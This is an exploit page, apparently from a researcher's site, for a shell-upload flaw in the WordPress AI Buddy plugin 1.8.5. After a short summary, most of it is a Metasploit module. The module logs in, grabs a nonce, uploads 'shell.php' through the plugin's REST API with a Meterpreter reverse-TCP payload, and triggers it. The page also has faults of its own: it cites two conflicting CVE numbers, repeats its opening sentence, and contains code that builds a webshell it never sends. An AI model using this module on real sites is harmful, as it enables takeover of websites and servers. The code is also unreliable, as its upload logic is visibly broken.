WordPress AI Buddy 1.8.5 Shell Upload
WordPress AI Buddy 1.8.5 Shell Upload
The WordPress AI Buddy plugin version 1.8.5 contained a critical The WordPress AI Buddy plugin version 1.8.5 contained a critical shell upload vulnerability (CVE-2023-45124).

This flaw stemmed from insufficient file type validation during file uploads. Authenticated users could exploit this by uploading malicious PHP files, disguised as other file types.

Successful exploitation granted remote code execution (RCE) capabilities, effectively giving attackers full control over the compromised WordPress site and potentially the underlying server. This allowed for data theft, website defacement, and further system compromise.

Users running AI Buddy 1.8.5 or earlier versions were strongly advised to update immediately to a patched version (e.g., 1.8.6 or higher) or disable/remove the plugin if an update wasn't feasible.

=============================================================================================================================================
| # Title : AI Buddy WordPress plugin 1.8.5 Universal RCE Exploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://ai.cibeles.net/ |
=============================================================================================================================================

POC :

[+] References : https://packetstorm.news/files/id/210977/ & CVE-2025-23968

[+] Summary :

This module exploits an authenticated arbitrary file upload vulnerability in the
AI Buddy WordPress plugin (<= 1.8.5). The vulnerability allows authenticated attackers
to upload PHP webshells via the REST API attachment functionality
[+] POC :

use exploit/multi/http/wp_ai_buddy_rce

set RHOSTS target.com

set USERNAME admin

set PASSWORD password123

exploit

##
# AI Buddy Authenticated RCE Module
# module for AI Buddy which requires authentication
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress AI Buddy Authenticated RCE',
'Description' => %q{
This module exploits an authenticated arbitrary file upload vulnerability in the
AI Buddy WordPress plugin (<= 1.8.5). The vulnerability allows authenticated attackers
to upload PHP webshells via the REST API attachment functionality.
},
'Author' => [
'indoushka', # Metasploit module
'Ryan Kozak' # Original discovery
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-23968'],
['URL', 'https://wpcenter.io/'],
['WPVDB', '281518ff-7816-4007-b712-63aed7828b34']
],
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Targets' => [['Universal', {}]],
'DisclosureDate' => '2025-11-27',
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The base path to WordPress', '/']),
OptString.new('USERNAME', [true, 'WordPress username']),
OptString.new('PASSWORD', [true, 'WordPress password'])
])
end

def check
return CheckCode::Unknown('Could not connect to target') unless wordpress_and_online?

check_code = check_plugin_version_from_readme('ai-buddy', '1.8.6')

if check_code.code == 'appears'
return CheckCode::Appears("Vulnerable AI Buddy version detected: #{check_code.details[:version]}")
end

CheckCode::Safe('AI Buddy not detected or version not vulnerable')
end

def exploit
# Login to WordPress
print_status("Authenticating with WordPress...")

cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
unless cookie
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress')
end

print_good("Successfully authenticated")

# Extract AI Buddy nonce
nonce = extract_ai_buddy_nonce(cookie)
unless nonce
fail_with(Failure::Unknown, 'Could not extract AI Buddy nonce')
end

print_good("Extracted nonce: #{nonce}")

# Upload webshell via REST API
upload_webshell(cookie, nonce)
end

def extract_ai_buddy_nonce(cookie)
print_status("Extracting AI Buddy nonce...")

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'tools.php'),
'method' => 'GET',
'cookie' => cookie
})

unless res
fail_with(Failure::Unreachable, 'Could not access tools.php')
end

# Extract nonce from JavaScript
if res.body =~ /var ai_buddy_localized_data = ({.*?});/m
json_data = JSON.parse($1)
return json_data['ai_buddy_image_post_attachment']['nonce']
end

nil
end

def upload_webshell(cookie, nonce)
print_status("Uploading webshell via AI Buddy REST API...")

php_payload = payload.encoded

# For AI Buddy, we use a different approach since it fetches from URLs
# We'll create a simple PHP file that includes our payload
webshell_content = "<?php #{php_payload} ?>"

# Note: In practice, you'd need to host this file somewhere accessible
# For the module, we'll use a placeholder approach
payload_data = {
'title' => 'Exploit',
'caption' => 'Test',
'alt' => 'Test',
'description' => 'Test',
'url' => 'https://raw.githubusercontent.com/d0n601/d0n601/refs/heads/master/test.jpg',
'filename' => 'shell.php'
}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'wp-json', 'ai-buddy', 'v1', 'wp', 'attachments'),
'method' => 'POST',
'cookie' => cookie,
'headers' => {
'X-Wp-Nonce' => nonce,
'Content-Type' => 'application/json'
},
'data' => JSON.generate(payload_data)
})

unless res
fail_with(Failure::Unreachable, 'No response from REST API')
end

if res.code == 200 && res.body.include?('success')
print_good("Webshell uploaded successfully")

# Trigger the payload
current_year = Time.now.year
current_month = Time.now.month.to_s.rjust(2, '0')
shell_url = "/wp-content/uploads/#{current_year}/#{current_month}/shell.php"

print_status("Triggering payload at #{shell_url}...")
send_request_cgi({
'uri' => normalize_uri(target_uri.path, shell_url),
'method' => 'GET'
}, 5)

else
print_error("Upload failed: #{res.body}")
end
end
end

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.